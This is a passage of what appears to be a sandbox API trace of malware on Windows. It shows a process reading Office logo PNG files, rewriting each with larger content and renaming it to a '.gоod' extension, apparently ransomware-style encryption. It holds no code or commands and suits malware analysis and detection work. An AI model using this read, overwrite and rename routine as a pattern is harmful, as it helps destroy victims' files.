nFileSizeHigh=0x0, nFileSizeLow=0xac0)) returned 1 [0239.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0239.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png", lpFilePart=0x0) returned 0x52 [0239.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0239.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0239.861] GetFileType (hFile=0x630) returned 0x1 [0239.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0239.861] GetFileType (hFile=0x630) returned 0x1 [0239.861] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xac0 [0239.861] ReadFile (in: hFile=0x630, lpBuffer=0x37af498, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37af498*, lpNumberOfBytesRead=0x1fcee238*=0xac0, lpOverlapped=0x0) returned 1 [0239.863] CloseHandle (hObject=0x630) returned 1 [0239.874] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png", lpFilePart=0x0) returned 0x52 [0239.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0239.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0239.875] GetFileType (hFile=0x630) returned 0x1 [0239.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0239.875] GetFileType (hFile=0x630) returned 0x1 [0239.875] WriteFile (in: hFile=0x630, lpBuffer=0x382e500*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x382e500*, lpNumberOfBytesWritten=0x1fcee148*=0xad0, lpOverlapped=0x0) returned 1 [0239.876] CloseHandle (hObject=0x630) returned 1 [0239.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png", lpFilePart=0x0) returned 0x52 [0239.876] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png.gоod", lpFilePart=0x0) returned 0x57 [0239.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0239.876] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8b2fa8a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xad0)) returned 1 [0239.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0239.876] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-140.png.gоod")) returned 1 [0239.895] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png", lpFilePart=0x0) returned 0x52 [0239.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0239.895] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x382f7d8 | out: lpFileInformation=0x382f7d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf3)) returned 1 [0239.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0239.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png", lpFilePart=0x0) returned 0x52 [0239.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0239.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0239.896] GetFileType (hFile=0x630) returned 0x1 [0239.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0239.896] GetFileType (hFile=0x630) returned 0x1 [0239.896] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xcf3 [0239.896] ReadFile (in: hFile=0x630, lpBuffer=0x38307c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38307c8*, lpNumberOfBytesRead=0x1fcee238*=0xcf3, lpOverlapped=0x0) returned 1 [0240.302] CloseHandle (hObject=0x630) returned 1 [0240.312] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png", lpFilePart=0x0) returned 0x52 [0240.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0240.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0240.314] GetFileType (hFile=0x630) returned 0x1 [0240.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0240.314] GetFileType (hFile=0x630) returned 0x1 [0240.314] WriteFile (in: hFile=0x630, lpBuffer=0x37ad500*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37ad500*, lpNumberOfBytesWritten=0x1fcee148*=0xd00, lpOverlapped=0x0) returned 1 [0240.315] CloseHandle (hObject=0x630) returned 1 [0240.315] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png", lpFilePart=0x0) returned 0x52 [0240.315] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png.gоod", lpFilePart=0x0) returned 0x57 [0240.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0240.315] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8b7348f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd00)) returned 1 [0240.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0240.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-180.png.gоod")) returned 1 [0240.316] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png", lpFilePart=0x0) returned 0x51 [0240.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0240.316] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x37ae7d8 | out: lpFileInformation=0x37ae7d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b3)) returned 1 [0240.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0240.316] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png", lpFilePart=0x0) returned 0x51 [0240.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0240.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0240.317] GetFileType (hFile=0x630) returned 0x1 [0240.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0240.317] GetFileType (hFile=0x630) returned 0x1 [0240.317] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7b3 [0240.317] ReadFile (in: hFile=0x630, lpBuffer=0x37af288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x37af288*, lpNumberOfBytesRead=0x1fcee238*=0x7b3, lpOverlapped=0x0) returned 1 [0240.318] CloseHandle (hObject=0x630) returned 1 [0240.329] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png", lpFilePart=0x0) returned 0x51 [0240.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0240.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0240.331] GetFileType (hFile=0x630) returned 0x1 [0240.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0240.331] GetFileType (hFile=0x630) returned 0x1 [0240.331] WriteFile (in: hFile=0x630, lpBuffer=0x382aed0*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x382aed0*, lpNumberOfBytesWritten=0x1fcee148*=0x7c0, lpOverlapped=0x0) returned 1 [0240.332] CloseHandle (hObject=0x630) returned 1 [0240.332] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png", lpFilePart=0x0) returned 0x51 [0240.332] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png.gоod", lpFilePart=0x0) returned 0x56 [0240.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0240.332] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8b75ab8e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0240.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0240.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogo.scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogo.scale-80.png.gоod")) returned 1 [0240.333] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x66 [0240.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0240.333] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x382c1a8 | out: lpFileInformation=0x382c1a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71c)) returned 1 [0240.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0240.333] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x66 [0240.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0240.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0240.334] GetFileType (hFile=0x630) returned 0x1 [0240.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0240.334] GetFileType (hFile=0x630) returned 0x1 [0240.334] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x71c [0240.334] ReadFile (in: hFile=0x630, lpBuffer=0x382cc60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x382cc60*, lpNumberOfBytesRead=0x1fcee238*=0x71c, lpOverlapped=0x0) returned 1 [0241.267] CloseHandle (hObject=0x630) returned 1 [0241.784] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x66 [0241.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0241.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0241.785] GetFileType (hFile=0x860) returned 0x1 [0241.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0241.785] GetFileType (hFile=0x860) returned 0x1 [0241.785] WriteFile (in: hFile=0x860, lpBuffer=0x3975560*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3975560*, lpNumberOfBytesWritten=0x1fcee148*=0x720, lpOverlapped=0x0) returned 1 [0241.786] CloseHandle (hObject=0x860) returned 1 [0241.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png", lpFilePart=0x0) returned 0x66 [0241.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png.gоod", lpFilePart=0x0) returned 0x6b [0241.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0241.786] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8c536726, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x720)) returned 1 [0241.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0241.787] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-100.png.gоod")) returned 1 [0241.787] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x66 [0241.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0241.788] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x39768b0 | out: lpFileInformation=0x39768b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f2)) returned 1 [0241.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0241.788] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x66 [0241.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0241.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0241.788] GetFileType (hFile=0x860) returned 0x1 [0241.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0241.788] GetFileType (hFile=0x860) returned 0x1 [0241.788] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7f2 [0241.788] ReadFile (in: hFile=0x860, lpBuffer=0x3977440, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3977440*, lpNumberOfBytesRead=0x1fcee238*=0x7f2, lpOverlapped=0x0) returned 1 [0241.790] CloseHandle (hObject=0x860) returned 1 [0241.801] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png", lpFilePart=0x0) returned 0x66 [0241.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0241.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-black_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-black_scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0241.802] GetFileType (hFile=0x860) returned 0x1 [0241.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0241.802] GetFileType (hFile=0x860) returned 0x1 [0241.802] WriteFile (in: hFile=0x860, lpBuffer=0x39f2dc0*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x1fcee148, 